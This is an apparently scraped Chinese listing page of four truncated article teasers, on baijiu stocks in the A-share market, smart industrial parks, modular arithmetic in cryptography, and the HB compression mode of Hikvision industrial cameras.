今年以来&#xff0c;在科技股的带动下&#xff0c;A股市场表现十分突出&#xff0c;近期沪指甚至创出了十年来新高。然而&#xff0c;在这轮市场的表现中&#xff0c;曾经被资金热捧的白酒板块&#xff0c;却显得有些沉寂。业绩层面&#xff0c;从目前已披露的白酒上市公司半年…

智慧园区:从技术赋能到价值重构,解锁园区运营新范式

在数字化浪潮席卷产业的当下&#xff0c;智慧园区已从 “概念蓝图” 落地为 “实战方案”&#xff0c;其核心逻辑既源于技术的突破性应用&#xff0c;也扎根于企业的实际需求&#xff0c;更顺应着行业发展的未来趋势&#xff0c;成为驱动园区从传统管理向智能化运营升级的核心引…

模运算(密码学/算法)

1 什么是模运算 模运算的概念 模运算是一种算术运算&#xff0c;常写作a mod n&#xff0c;表示整数a除以正整数n后的余数。 模数是模运算中的除数n&#xff0c;它决定了结果的范围。 公式表达&#xff1a; 对于任意整数a和正整数n&#xff0c;可以将a表示为&#xff1a;a qn …

海康相机的 HB 模式功能详解

海康相机的 HB 模式是一种无损压缩技术,全称为High Bandwidth 模式,主要用于提升工业相机在高速场景下的数据传输效率。其核心原理是通过硬件级无损压缩算法对原始图像数据进行压缩,在不损失画质的前提下减少数据量,从而突破千兆网络的带宽限制,实现更高的行频和传输帧率。…